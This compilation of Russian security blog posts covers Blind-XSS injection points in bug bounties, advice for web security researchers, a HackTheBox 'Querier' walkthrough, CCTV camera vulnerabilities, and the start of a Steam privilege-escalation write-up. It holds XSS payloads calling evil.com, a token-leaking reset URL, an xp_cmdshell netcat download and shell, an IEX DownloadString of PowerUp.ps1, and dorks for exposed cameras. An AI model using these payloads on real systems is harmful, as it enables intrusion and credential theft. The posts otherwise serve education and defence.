\-->'></style></div></article></script><script/src=//evil.com>

Точка входа или Injection Point

Все точки входа объединяет то, что введенная в них информация не очищается должным образом от JavaScript кода и позволяет внедрение этого кода в HTML структуру административной страницы. На мой взгляд, наиболее популярная точка входа — это сообщение в службу поддержки.

Рассмотрим те, о которых мне известно.

1. Форма обратной связи

Как правило, в этой форме есть такие поля, как:

заголовок
сообщение
иногда email-адрес в случае, если администратор захочет связаться с автором сообщения.

Каждое из этих полей может быть уязвимо к JavaScript инъекции. Но здесь есть небольшая хитрость:

Если вы видите поле Email-адрес, то не спешите сдаваться, если оно не принимает что-либо отличное от структуры Email. Попробуйте: - "payload"@domain.com - name@"payload"domain.com - name(payload)@domain.com - name@(payload)domain.com - name@domain.com(payload)

Кавычки и скобки — это вполне валидная часть email-адреса и является комментарием в соответствии со спецификациями RFC 2822 (секция 3.4.1), RFC 3696 (секция 3).

Половина моих успешных инъекций — это как раз инъекция через комментарий email-адреса. Чаще всего проверка на стороне клиента (браузера) все равно не позволит использовать такой email. Но мы ведь знаем, что проверка на клиенте для нас ничего не значит:

Коротко о Client-side валидации и хакерах

Поэтому email адрес нужно лишь подменить в процессе отправки запроса с помощью любого прокси приложения (например, Burp Suite).

2. Формы для жалоб / предложений / оценки

Наверняка вы часто видели строчку

«Полезна ли статья?»

(Оцените статью) на порталах поддержки или с документацией. Нажав на кнопку «Нет», нам могут предложить отправить сообщение, почему статья не оказалась полезной и что можно улучшить. Наверное, вы уже поняли, где окажется наша полезная нагрузка в этом случае.

Поэтому если видите подобные предложения отправить отзыв, на них обязательно стоит обратить внимание и отправить полезную нагрузку, которая в итоге может оказаться успешной.

3. Регистрация аккаунта

Да, при регистрации аккаунта есть крайне малая вероятность, что наш аккаунт посмотрят где-то в административной панели, однако, вставив полезную нагрузку в адрес электронной почты мы в дальнейшем можем использовать это для отправки сообщений на сайте уже как зарегистрированный пользователь. При этом сами формы уже автоматически будут выводить наш адрес в административной панели несмотря на то, что он прямо не запрашивался при отправке какой-либо формы или сообщения.

4. Служба поддержки

Наиболее очевидная точка входа и подвергающаяся эксплуатации чаще всего. Каждая форма для запроса в службу поддержки может сильно отличаться друг от друга, поэтому обращайте внимания на любые поля, в которые вы можете вставить полезную нагрузку.

Отдельного внимания заслуживает возможность загрузки файлов. Ещё одна хитрость заключается в том, что полезную нагрузку можно оставить в имени файла, например:

Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html

А в самом файле оставить тот же скрипт (за находку спасибо w9w).

5. Адрес доставки / компании / домашний

Адрес так же часто используется при взаимодействии с пользователем, когда ему надо что-то отправить в случае со службой доставки, магазином, резервацией отеля или иным приложением, которое обрабатывает адреса.

Поле адреса довольно часто встречается и иногда валидация происходит на уровне существующего адреса. Поэтому, возможно, в начале потребуется ввести настоящий адрес и указать его на карте, а уже в процессе отправки запроса добавить полезную нагрузку к валидному адресу, чтобы обойти проверки приложения.

6. Скрытые API

Иногда при изучении JavaScript кода можно найти незадействованные в приложении конечные точки API. Это может быть, например, отправка информации об ошибках, отладке и тому подобное. Можно на основе JS сформировать запрос и отправить сообщение с полезной нагрузкой.

Пост эксплуатация и обход механизмов защиты

Получив обратный отклик от успешной эксплуатации Blind-XSS, многие спешат сообщить о находке в программу с вознаграждениями за найденные уязвимости. Однако чащ�� всего подобные уязвимости получают высокий приоритет, но не критический. У нас есть несколько путей доказать критический ущерб от возможной эксплуатации уязвимости.

1. Изучаем исходный HTML панели

С каждой успешной эксплуатацией

XSS Hunter

присылает нам такую информацию, как:

1. Cookie пользователя

2. User-Agent пользователя

3. IP адрес пользователя

4. URL страницы, на которой выполняется скрипт

5. исходный HTML код страницы

6. скриншот страницы

7. Referrer

Как правило, сессионных кук нет, так как они обладают атрибутом HTTP-Only. В этом случае наивысшую полезность для нас оказывает исходный код HTML страницы. В нём, помимо всего прочего, можно найти JavaScript. Этот код позволяет понять, как формируются запросы для выполнения административных действий. Его обязательно надо изучить и попробовать выполнить эти действия, сформировав запрос вручную в Burp Suite или в другом подобном ПО.

В моем случае административная панель была на том же домене, от куда я отправлял полезную нагрузку, поэтому я смог открыть все скрипты без дополнительной инъекции (хотя и это можно выполнить за одну инъекцию). К моему удивлению, хоть и доступ к административным разделам все ещё требовал авторизации, мне удалось отправлять запросы на административные API и управлять контентом так, будто я уже был администратором.

К сожалению, программа, в которой мне удалось обнаружить эти уязвимости, является приватной и я не могу назвать её имени или подробнее показать процесс извлечения запросов из JS кода.

В результате этой находки мне удалось получить 2500$ вместо 1000$ как если бы это была уязвимость с высоким приоритетом.

2. Получаем больше информации

Даже если административная панель находится за файерволом и получить к ней доступа в принципе нет возможности, всё ещё можно получить больше информации и повысить критичность обнаруженной уязвимости.

XSS Hunter

позволяет добавлять собственный JS код в полезную нагрузку и указывать дополнительные страницы для извлечения:

После первой успешной эксплуатации, можно извлечь дополнительные страницы, которые были получены в ходе изучения исходного кода HTML страницы. Таким же образом можно выполнять и запросы с привилегиями администратора, но это требует более сложного JS кода.

Кроме этого, я думаю, что можно добавить рекурсивное извлечение HTML других страниц административной панели, на которых может оказаться чувствительная информация, но к этому прибегать мне еще не приходилось.

Заключение

Разработчикам советую проверить все свои поля, связанные с Email-адресами, так как очень часто многие полагаются на стандартную проверку структуры электронного адреса, не учитывая, что можно сформировать вполне валидный адрес, но с вредоносным кодом.
Обращайте внимание на любые незначительные поля, связанные с обратной связью. Они бывают разными и перечислить их все невозможно.
Не ленитесь извлекать дополнительную информацию из полученной HTML страницы, с высокой вероятностью она может увеличить ваше баунти в разы.
Старайтесь для каждой вашей Blind-XSS доказывать критический импакт.

Удачной охоты!

Автор: https://twitter.com/haoneses

by @it_ha

Итак, вы хотите стать аналитиком в области сетевой безопасности…

2019-09-20T08:06:15.188Z

Кто такой аналитик в области сетевой безопасности?

Аналитики в области сетевой безопасности – это люди, которые выходят за рамки использования известных методов взлома, таких как SQLi и XSS, и находят новые угрозы для веб-сайтов. Это могут быть инновационные решения, которые усложняют существующие методы, как, например, подход к эксплуатации уязвимостей local+blind XXE, или целые новые классы угроз, как Web Cache Deception (отравление кэша веб-приложений).

Очень трудно защитить веб-сайты от неизвестных методов атаки, поэтому они часто могут быть задействованы для эксплуатации большого количества других безопасных веб-сайтов. Это значит, что публикация ваших открытий в этой области может помочь веб-сайтам устранить уязвимости, тем самым повышая общий уровень безопасности всей экосистемы.

Ломаем для жизни

Большинство исследований связано с использованием существующих методов, которые немного продвинулись вперед, поэтому для начала хорошо бы ознакомиться с текущим положением дел. Самый быстрый способ сделать это – найти работу, на которой большую часть своего времени вы будете применять какие-либо методы взлома. Многие хорошие люди уже давали советы о том, как попасть в индустрию информационной безопасности, поэтому здесь я буду краток.

Я рекомендую практико-ориентированный подход, начиная от Академии Сетевой Безопасности, переходя к более открытым задачам, таким, как на моем hackxor.net, двигаться вперед сначала через простые задачи с маленьким вознаграждением за старания на HackerOne и BugCrowd, а затем, наконец, переходить на хорошо зарекомендовавшие себя щедрые программы по поиску уязвимостей с хорошими выплатами. После того, как вы найдете и проанализируете несколько уязвимостей, стать консультантом по информационной безопасности и каждый день проводить, взламывая новые сайты и веб-приложения должно быть несложно.

Есть множество бесплатных онлайн-ресурсов, которые послужат вам хорошую службу на этом пути, в том числе наша методология Burp, Hacker 101 от HackerOne и руководство по тестированию OWASP. Что касается книг, я бы порекомендовал почитать WebApp Hacker’s Handbook и The Tangled Web.

Вышеупомянутая Академия Сетевой Безопасности предназначена для интерактивного использования в качестве замены WebApp Hacker's Handbook, но нам потребуется некоторое время, чтобы охватить все необходимые темы, поэтому на данный момент я бы порекомендовал использовать оба источника.

Выход за рамки известных методов

Как только вы начнете работать и весь свой рабочий день будете заниматься взломами, вы поймете уровень нагрузки, через какое-то время ваш опыт будет обширным и новые знания будут даваться тяжело. На этом этапе самый важный шаг – это не позволить себе остановиться на достигнутом и продолжать учиться и практиковаться. Только так вы станете настоящим специалистом.

Охота за забытыми знаниями

Все понимают, что нужно идти в ногу с новыми разработками и мониторить отраслевых экспертов, новостных агрегаторов и посещать конференции по безопасности. Однако следить исключительно за новыми разработками значит не замечать те драгоценные знания и исследования, которые были сделаны давным-давно и забыты.

Каждый раз, когда вы находите хорошую статью в блоге, не скупитесь на время – прочтите весь архив. Там часто скрываются бесценные и забытые фрагменты информации. Например, возьмите вот эту статью от RSnake о перепривязывании DNS, написанную в 2009 году. Перепривязывание DNS обходит контроли доступа на основе IP/брандмауэра на веб-сайтах, при этом единственный эффективный способ избежать его – это добавить ваше приложение в белый список в HTTP-заголовка Host. Люди быстро решили, что браузеры вполне с этим справляются, и вот девять лет спустя с новой чередой эксплойтов стало понятно, что эта уязвимость вновь начала использоваться.

Просмотр архивов также поможет вам не изобретать велосипед, который уже изобрел кто-то другой, например, как было с повторным изобретением CSS атаки десять лет спустя. Тем не менее, некоторые исследования действительно трудно найти, поэтому случайное их дублирование неизбежно. Однажды я опубликовал исследование и обнаружил, что kuza55 уже делал то же самое пять лет назад. Поэтому делайте все возможное, чтобы избежать дублирования исследований, но, если такое случится – не паникуйте, со всеми бывает.

Собирайте редкости

Чтобы связать темы и определить возможности, которые упускают другие люди, очень важно собирать информацию из различных источников. Для начала, не ограничивайте себя в чтении контента по информационной безопасности; вы быстро найдете документацию, которая послужит руководством для создания эксплойта. Опять же, и следующий совет может быть довольно очевидным, но перед тем как лезть в Google или пытаться сформулировать вопрос в Twitter/Reddit/StackOverflow, убедитесь в том, что спросили у своих коллег. Часто бывает, что необходимые знания где-то рядом, но некоторые люди просто не делятся ими публично.

Кроме того, постарайтесь сохранять разнообразие и в своем опыте.

Выполнения black-box тестирований на проникновение для консультаций по информационной безопасности должно предоставить вам широкий спектр внешних и внутренних веб-приложений, с которыми вы может быть никогда и не встретитесь в программе bug bounty. Однако ограничение по времени помешает вам углубиться в такой уровень понимания приложения, который приходит за месяцы bug bounty за одной целью. Несмотря на то, что это медленный и ограниченный процесс, обзор white-box исходного кода может предложить альтернативную перспективу атаки, о которой black-box пентестер даже не подумал бы. Чтобы развиваться как аналитик, вам нужно сочетать все три методики работы. Дополнительные возможности, такие как игры в CTF и написание веб-приложений также расширят ваши перспективы.

Не существует слишком глупых идей

Одна из худших ловушек, в которую можно угодить – это отбросить отличную идею, предполагая, что она точно не сработает, и так и не попробовать ее, потому что «кто-то другой уже точно бы это заметил» или «она слишком глупая, чтобы сработать». Я раньше таким страдал, до такой степени, что одна часть исследования проявилась на два года позже, чем должна была. Нет разницы, обход ли это аутентификации повторным вводом одного и того же пароля, или же взлом страницы администрирования Google с телефона, вместо ноутбука, ведь следующий значимый эксплойт может родиться из действительно дурацкой идеи.

Откажитесь от комфорта

Если какая-то технология считается сложной, неудобной или опасной – это явно тема, нуждающаяся в проведении исследований. После многократного опыта настоящих прорывов после занятия темами, которые находятся далеко за пределами моей зоны комфорта, я решил, что самый быстрый путь к новым открытиям – это активный поиск тем, которые заставляют меня чувствовать себя некомфортно. Скорее всего, этих тем избегают и другие хакеры, давая им серьезный исследовательский потенциал. Для меня это единственное правдоподобное объяснение тому, почему я смог взять технику, впервые задокументированную в 2005 году, и снова представленную на DEF CON в 2016 году, и использовать ее чтобы заработать 70 тыс. долларов на bug bounty в 2019 году.

Повторять, изобретать, делиться
Повторять

Самый простой способ начать работу – найти чье-либо перспективное исследование, построить на его базе нечто свое, смешивая какие-то методы, а затем попробовать применить свой новый подход в полевых условиях, и посмотреть, не случится ли чего интересного. Например, вот эта статья

о неправильной конфигурации CORS, указала на интересное поведение и в ней говорилось о том, что такое поведение крайне распространено, но автор на этом остановился и не изучал влияния на отдельные веб-сайты.

Я взял за основу предложенную концепцию и применил ее к bug bounty сайтам, на которых я мог вполне легально экспериментировать и пробовать свои силы в уклонении от всех возможных способов защиты на них представленных. По пути я кое-что улучшил, использовав известные методы эксплойта open redirect, наконец обнаружил происхождение “null”, прочитав документацию CORS, и изучил возможности отравления кэша.

В этом процессе не было ничего, что требовало бы невероятной интуиции или выдающихся технических знаний, тем не менее был с легкостью получен конечный результат – эксплуатация CORS misconfigurations для биткойнов и bounty.

Изобретать

Повторение работ других людей – это круто, но самые крутые исследования берут свое начало буквально из ниоткуда, будь то перезапись относительного пути или отравление кэша веб-приложений. Я считаю, что такие открытия вызваны личными переживаниями, которые складываются в подсказки. Я называю их «ведущими переживаниями» или «хлебными крошками», поскольку они порой таинственны и их может понадобиться множество, чтобы привести вас к полезному открытию.

Например, в 2011 году я пытался взломать защиту CSRF, которую использовали в addons.mozilla.org. Я обошел проверку токенов, но они еще проверяли, чтобы хост в заголовке Referer соответствовал текущему сайту. Я обратился за помощью на форум sla.ckers, и ‘barbarianbob’ сказал, что Django определяет хост текущего сайта, глядя на значение поля Host в заголовках HTTP, и он может быть переопределен заголовком X-Forwarded-Host. Эту мысль можно было объединить с идеей уязвимости внедрения заголовков в Flash, чтобы обойти проверку CSRF, но что было еще важнее – то была первая хлебная крошка. Именно она привела к мысли, что приложения могут полагаться на заголовок хост, чтобы определить текущее местоположение.

Некоторое время спустя я взглянул на исходный код функции сброса пароля Piwik и нашел строку, которая выглядела примерно так:

$passwordResetLink = getCurrentUrlWithoutQueryString() + $secretToken

Ага, подумал я. Piwik использует PHP, который очень весело обрабатывает путь, поэтому я могу запросить сброс пароля по адресу piwik.com/reset.php/foo;http://evil.com, в результате я получаю электронное письмо с двумя ссылками, и секретный токен отправляется на evil.com. Эта идея сработала, принесла мне выгоду и заложила фундамент для последующих исканий.

Третья и последняя крошка заключалась в том, как Piwik попытался исправить эту уязвимость. Они заменили getCurrentUrlWithoutQueryString() на getCurrentUrlWithoutFileName(). Это означало, что я больше не могу использовать свой способ для эксплойта. Благодаря тому, что я уже был знаком с Django, я решил углубиться в код и узнать, как Piwik определил, каким является текущее имя хоста. Я обнаружил, что, как и Django, они использовали хост-заголовок, а это значило, что я мог легко генерировать отправленные письма для сброса пароля. Как оказалось, этот прием сработал на addons.mozilla.org и Gallery, и Symfony, и Drupal, и целом ряде других сайтов. В итоге это привело к практике атак с подменой HTTP-заголовка Host.

Описывая появление открытий так многословно, надеюсь, я смог развеять тайну вокруг процесса исследования и показать его непохожим на спонтанную идею из ниоткуда. С такой точки зрения, кажется, что основной навык (помимо имеющихся знаний и опыта) заключается в распознавании таких хлебных крошек и следовании по пути, который они указывают. Я не могу доступно сформулировать как это делать, но я знаю, как нужно рассматривать те вещи, которые заставляют вас раз за разом говорить «это бессмысленно».

Делиться

Важно делиться своими исследованиями с сообществом. Это поможет увеличить ваше портфолио и, возможно, сподвигнет вашего работодателя выделять вам больше рабочего времени на исследования. Кроме того, это поможет вам избежать потери времени и стимулировать дальнейшие исследования. Критика ваших работ и комментарии к ним могут помочь увидеть то, чего вы раньше не замечали. Также нет ничего более полезного, чем видеть, как другой аналитик разрабатывает свои методики на основе ваших.

Пожалуйста, не думайте, что технологией или идеей не стоит делиться только потому, что она не является новаторской. Два логотипа и презентация – публикуйте все, что у вас есть (в идеале – в блоге, а не на какой-либо плохоиндексируемой закрытой платформе, как Twitter).

Когда вы делитесь исследованием, всегда полезно показать пример применения вашего метода на реальном веб-приложении. Без этого у людей неизбежно возникнут трудности с его пониманием, и они могут усомниться в его практической ценности.

Наконец, презентации отлично подходят для охвата более широкой аудитории, но не попадайте

в замкнутый круг и не тратьте свое время на бесконечное повторение прошлых презентаций.

Заключение

Мне и самому еще многое предстоит узнать о сетевой безопасности, поэтому я бы вернулся к этой теме несколько лет спустя со свежим взглядом и новыми идеями. Кроме того, я знаю, что у других аналитиков могут быть другие точки зрения, и с нетерпением жду идей, которыми они могут поделиться.

Краткое содержание моих советов о том, как стать аналитиком в области сетевой безопасности:

Ищите забытые знания и читайте архивные записи;
Получайте информацию из как можно большего числа различных источников;
Углубляйтесь в сложные и «страшные» темы;
Повторяйте, изобретайте, делитесь;
Не существует слишком глупых идей.

Итак, если вы ищете с чего начать, я могу посоветовать вам нашу ежегодную подборку десяти лучших техник веб-хакинга. В дополнение к этому я создал список различных блогов, которые вдохновляли меня многие годы. Удачи вам в исследованиях и получайте удовольствие!

Перевел статью: https://habr.com/users/MaxRokatansky/

Оригинал на английском: https://portswigger.net/blog/so-you-want-to-be-a-web-security-researcher

by @it_ha

Прохождение «Hackthebox — Querier»

2019-09-06T02:33:12.701Z

Для тех, кто не знает, что такое hackthebox — это портал, на котором вы можете проверить свои умения пентеста на практике, имеются CTF таски и собственно лабораторные машины.

В правилах сервиса написано: «Dont share how you hacked each machine with other members. This includes the invite code generation and all challenges». Но так как эта машина уже не активна и хранится в разделе «Retired Machines», доступ к ней имеют только VIP-участники.

Сбор информации

Начнем разведку с запуска сканирования портов с помощью nmap.

nmap –sC –Pn –A 10.10.10.125

Перечислим найденные порты.

Enumerate 139/445/tcp (smb)

Воспользуемся утилитой smbclient для доступа к SMB ресурсам сервера.

smbclient –L //10.10.10.125

Пройдясь по всем ресурсам, находим в директории Reports файл “Currency Volume Report.xlsm”.

Если открыть этот файл стандартным Microsoft Excel, то он окажется ~~на первый взгляд~~ совершенно пустым. Проанализируем файл, используя утилиту binwalk, которая поможет взглянуть на встроенные файлы xlsm- документа.

Из вывода binwalk обнаружили несколько интересных файлов, содержащихся в xlsm.

Используя флаг –e, распакуем его.

binwalk –e Currency\ Volume\ Report.xlsm

Теперь воспользуемся утилитой strings для вывода печатных символов. Пробежавшись по файлам, находим интересные данные в vbaProject.bin. Похоже, что мы нашли учетные данные для mssql server’а.

Подытожим полученную информацию на текущий момент:

Мы знаем, что на порту 10.10.10.125:1433 крутится mssql server;
У нас есть учетные данные от пользователя mssql server.

Так давайте попробуем подсоединиться к серверу, используя скрипт из модуля impacket.

python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth

Получаем доступ к MsSQL.

Enumerate MsSQL

Перечислим полезную для нас информацию, используя команды из статьи.

Выполнив SQLi, получаем хеш от пароля пользователя mssql-svc.

Чтобы получить пароль в явном виде, необходимо его сбрутить, используя любой удобный для вас инструмент.

john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt

Получаем пароль от mssql-svc. Подключаемся к SQL с новыми ~~кредитами~~ учетными данными.

python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth

Права этого пользователя позволяют нам выполнять xp_cmdshell

Вместе с MsSQL поставляется большой набор расширенных хранимых процедур. Наиболее интересная из них — xp_cmdshell. Она предоставляет доступ к командной строке операционной системы.

Получаем reverse shell

Пробуем получить оболочку через netcat, для этого нам необходимо загрузить его на атакуемый сервер.

Переходим в директорию на нашей машине, где находится netcat и запускаем:

python –m SimpleHTTPServer

В оболочке mssql для загрузки netcat (nc.exe) на удаленный сервер, выполняем команду powershell, указав путь сохранения.

xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.x.x:8000/nc.exe" –
OutFile "C:\Users\mssql-svc\Desktop\nc.exe" "

Запускаем netcat на прослушивание порта 4444.

xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"

Запускаем на своей стороне netcat, указав ip и порт, атакуемого сервера и получаем оболочку.

nc 10.10.10.125 4444

Запускаем скрипт от PowerShellMafia

для повышения привилегий.

powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.x.x:8000/PowerUp.ps1\"); Invoke-AllChecks

В результате выполнения скрипта получили учетные данные администратора.

Заходим на ресурсы smb с новыми учетными данными и полномочиями.

Забираем флаг root.txt. Победа!

Автор: yrbrv.

By @it_ha

Какие уязвимости есть у систем видеонаблюдения

2019-08-29T21:26:26.631Z

Найти кусочек земной поверхности, не попадающий в поле зрения какой-либо камеры, становится всё сложнее, если говорить о более-менее крупных городах. Кажется, ещё немного, и настанет то самое светлое будущее, в котором преступники не смогут скрыться от бдительного правосудия, а люди заживут счастливо и беззаботно, ведь ещё в 2009 году в 95% случаев Скотланд-Ярд использовал записи камер видеонаблюдения в качестве доказательства вины убийц. К сожалению, эта утопия далека от реальности. И не в последнюю очередь потому, что камеры наблюдения имеют уязвимости. Поговорим о том, какие уязвимости наиболее часто встречаются в системах видеонаблюдения, обсудим их причины и рассмотрим способы сделать эксплуатацию таких устройств безопаснее.

Количество камер видеонаблюдения стремительно растёт во всём мире.

В Великобритании насчитывается около 185 млн глаз Большого Брата. Более полумиллиона из них наблюдают за жителями Лондона. На 14 человек приходится одна камера. На втором месте среди европейских городов находится Москва. В течение 2019 года количество камер превысит 174 тысячи, причём часть их уже подключена к системе распознавания лиц. До конца года на автоматизированное распознавание будут направляться более 100 тысяч видеопотоков.

При этом камеры видеонаблюдения — не только оптика и память. Каждая из них фактически содержит миникомпьютер с операционной системой и служебными программами. Если камеры подключены к интернету, значит, в них присутствует сетевой стек TCP/IP со всеми известными и не очень уязвимостями. Разработчики, использующие уязвимые версии ОС или или указавшие в коде без возможности изменения SSID и пароль, заслуживают самого строгого наказания, но к сожалению, это не поможет сделать продукцию их компаний безопасной. Ситуацию усугубляет появление у камер интеллекта, причём не важно, встроен он в саму камеру или работает в дата-центре, в который передаются видеоданные. Уязвимое устройство в любом случае станет источником проблем, причём чем выше интеллект системы, тем разнообразнее эти проблемы.

Камеры видеонаблюдения становятся более совершенными технически, чего нельзя сказать о качестве их программной начинки. Вот лишь некоторые из уязвимостей, зафиксированных в камерах различных производителей исследовательской компанией IPVM в 2018 году:

в декабре 2018 года в IP-камерх Bosch обнаружена ошибка переполнения буфера CVE-2018-19036, позволявшая злоумышленнику выполнить код без авторизации на устройстве;
в августе 2018 в IP-камерах Hikvision зафиксирована уязвимость, обеспечивавшая злоумышленнику привилегированный доступ к устройству и его использование для атак;
июль 2018 года принёс известие об ошибке в камерах Sony IPELA E: специально сконструированный HTTP GET-запрос приводил к несанкционированному исполнению команд;
июнь 2018 года — публикация VDOO о семи уязвимостях нулевого дня в IP-камерах Axis, позволяющих перехватить управление камерами и получить доступ root.
Уязвимости камер можно разделить на две больших группы — уязвимости производства и уязвимости использования.

Уязвимости производства

Сюда относятся все проблемы, связанные с реализацией функциональности IP-камер. Главная из них состоит в том, что стоимость аппаратной части камер значительно меньше, чем затраты на разработку прошивки. Результатом стремления компаний сэкономить становятся самые странные решения, например,

необновляемые прошивки или прошивки без автоматического обновления,
возможность получить доступ к веб-интерфейсу камеры путём многократных попыток ввести неправильный пароль или нажатия кнопки «Отмена»,
открытый доступ ко всем камерам с сайта производителя,
неотключаемая заводская сервисная учётная запись со стандартным паролем или без него (такую уязвимость использовала в 2016 году хакерская группа Lizard Squad для создания DDoS-ботнета с мощностью атак до 400 ГБ/c из камер видеонаблюдения),
возможность несанкционированного изменения настроек даже при включённой авторизации и запрете анонимного доступа,
отсутствие шифрования видеопотока и/или передача учётных данных в открытом виде,
использование уязвимого веб-сервера GoAhead,
тиражирование уязвимых прошивок (распространено среди китайских производителей устройств),
уязвимости устройств для хранения видео — например, совсем недавно была опубликована информация о проникновении на сетевые накопители Synology и Lenovo Iomega вредоносов, удаляющих или шифрующих файлы и вымогающих выкуп.

Уязвимости использования

Даже если производители камер исправят все ошибки и выпустят идеальные с точки зрения безопасности камеры, это не спасёт ситуацию, поскольку никуда не денутся рукотворные уязвимости, причина которых — в людях, обслуживающих оборудование:

использование паролей по умолчанию, если есть возможность их изменить;
отключение шифрования или VPN, если камера позволяет его использовать (справедливости ради скажем, что далеко не все камеры обладают достаточной производительностью для такого режима работы, превращая этот способ защиты в чистой воды декларацию);
отключение автоматического обновления прошивки камеры;
забывчивость или халатность администратора, не обновляющего прошивку устройства, которое не умеет делать это автоматически.

Как найти уязвимости?

Легко. Многие владельцы IP-камер считают, что если они нигде не публикуют информацию о них, никто не узнает о них и не попытается их взломать. Как ни удивительно, такая беспечность — довольно распространённое явление. Между тем существует масса инструментов, которые позволяют автоматизировать поиск доступных через интернет камер.

Shodan

Имеет свой язык запросов и позволяет помимо прочего найти камеры в каком-либо городе или стране. При нажатии на хост показывает подробную информацию о нём.

ZoomEye

Поисковый сервис по IoT. Поиск IP-камер — «device:media device».

Censys

Ещё один продвинутый сервис для поиска самых разных сетевых устройств. Запрос «metadata.manufacturer:«axis»» выведет список подключённых к интернету камер, выпущенных компанией Axis.

Google

Главный поисковик планеты на высоте и в деле поиска IP-камер. Указав в строке поиска что-то типа «inurl:«viewerframe?mode=»» или «inurl:«videostream.cgi»», также можно получить список камер, доступных через интернет.

Эксплуатация уязвимостей

Разумеется, киберпреступники не занимаются ручным поиском багов. Всю чёрную работу выполняют скрипты, выбирающие из списка камеры, взлом которых принесёт финансовую выгоду. Например, можно

создать ботнет для проведения заказных DDoS-атак или прямого вымогательства

, как сделали авторы вредоноса Mirai, захватившего контроль над полумиллионом уязвимых устройств IoT по всему миру.

Создние ботнетов

Ботнет — это группа из нескольких компьютеров и/или устройств, объединённых под управлением одного или нескольких командных серверов. На устройства устанавливается специальный софт, который по команде из центра выполняет разные задачи. Это может быть рассылка спама, проксирование трафика, DDoS и даже майнинг криптовалюты.

Шантаж

Захват контроля над камерами и видеорекордерами даёт возможность наблюдать за частной жизнью людей, среди которых могут быть государственные деятели и просто известные личности. Публикация видео с их участием способна вызвать скандал и нанести ущерб репутации владельца, а значит, угроза обнародования — серьёзный мотив для требования выкупа.

Сокрытие преступлений

В фильмах часто показывают, как преступники подменяют видеопоток на камерах, чтобы ограбить банк или проникнуть на секретную базу. Казалось бы, с переходом на цифровые технологии подмена изображения должна стать невозможной, однако это не так. Чтобы подменить запись на IP-камере, достаточно

получить RTSP-ссылку для камеры, поток с которой требуется подменить,
используя эту ссылку, записать поток в видеофайл,
воспроизвести записанный видеоряд в режиме потокового вещания,
защититься от вторичной подмены потока.

Очевидно, что имея записанный видеофайл, можно сделать с ним массу интересного, например, убрать «лишние» фрагменты или добавить новые.

Отдельно стоит упомянуть современные интеллектуальные камеры с возможностью распознавания лиц. Такие системы успешно эксплуатируются в Китае, России и других странах.

В 2017 году журналист BBC выяснил, что для задержания преступника с использованием китайской системы распознавания лиц, достаточно всего семи минут.

В зависимости от реализации сопоставление изображения с эталонной базой данных может выполняться на специальном сервере или прямо на камере. Оба способа имеют свои преимущества и недостатки:

камеры со встроенным распознаванием имеют более мощную аппаратную базу и поэтому стоят значительно дороже, чем обычные, но при этом они передают на сервер не видеопоток, а только метаданные с результатами распознавания;
распознавание на сервере требует передачи всего видеопотока, а значит, требует более широкого канала связи и ограничивает количество камер, которые можно подключить, но при этом каждая камера стоит в разы дешевле.

С точки зрения эксплуатации в преступных целях оба варианта эквивалентны, поскольку хакеры могут:

перехватить поток и подменить видеоданные,
перехватить поток и подменить метаданные,
взломать сервер распознавания и фальсифицировать изображения в эталонной базе,
взломать камеру и модифицировать её софт, либо изменить настройки.

Таким образом, даже интеллектуальное распознавание не исключают возможности добиться ложного срабатывания системы, либо, наоборот, сделать так, чтобы преступник остался невидимым.

Как защититься

Обновляйте прошивки

Устаревшие прошивки с большой вероятностью содержат уязвимости, которыми могут воспользоваться хакеры, чтобы перехватить управление камерой или внедриться на хранилище видеоданных.

Включайте шифрование

Шифрование трафика между камерой и сервером защищает от MiTM-атак и перехвата учётных данных

Включайте OSD

Если ваши камеры не справляются с шифрованием, включите на них простановку даты и времени на видеозапись. Тогда подменить картинку станет труднее.

Фильтруйте IP

Ограничьте диапазон адресов, с которых можно подключиться к вашей системе видеонаблюдения. «Белые» списки и ACL ограничат свободу действий для злоумышленников.

Измените пароли по умолчанию

Пусть это будет первым действием при установке новых камер или монтаже системы.

Включите обязательную авторизацию

Даже если кажется, что на этапе настройки отсутствие авторизации упростит работу, включите её сразу.

Не выставляйте камеры в интернет

Подумайте, действительно ли вам требуется доступ к камерам видеонаблюдения через интернет. Если нет — пусть работают внутри локальной сети.

Источник: https://habr.com/ru/company/trendmicro/blog/465513/

by @it_ha

Steam Windows Client Local Privilege Escalation 0day

2019-08-08T14:40:59.541Z

Я не первый год занимаюсь поиском уязвимостей, и, казалось бы, многое видел, но есть такая часть работы, к которой не удается привыкнуть и которую не могу понять. Это абсолютное нежелание вендоров принимать информацию об уязвимостях и проблемах. Я понимаю, что очень неприятно, когда тебе прямо показывают, что ты допустил ошибку и, скорее всего, не одну. Неприятно подтверждать в открытых источниках публично, что проблемы были, что сотрудники что-то недоработали. Но я не понимаю почему информацию об уязвимости нужно отвергать.

Итак, герой нашей истории — ПО Steam от компании Valve. И уязвимость повышения привилегий в нем, которая позволяет любому пользователю выполнить команды от имени NT AUTHORITY\SYSTEM.

Уязвимость

Сама уязвимость довольно простая. Steam для своей работы устанавливает сервис “Steam Client Service”. Глянем на

SDDL-описатель сервиса:

O:SYG:SYD:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;RPWP;;;BU)

Здесь нас интересует часть (A;;RPWP;;;BU). В данном случае, эта запись означает, что запускать и останавливать сервис может любой пользователь из группы «Пользователи».

Посмотрим, что сервис делает при старте. Не особо много интересного, но есть часть операций, которые выглядят необычно — сервис перечисляет содержимое раздела

HKLM\SOFTWARE\Wow6432Node\Valve\Steam\Apps и для всех подразделов выставляет какие-то права.

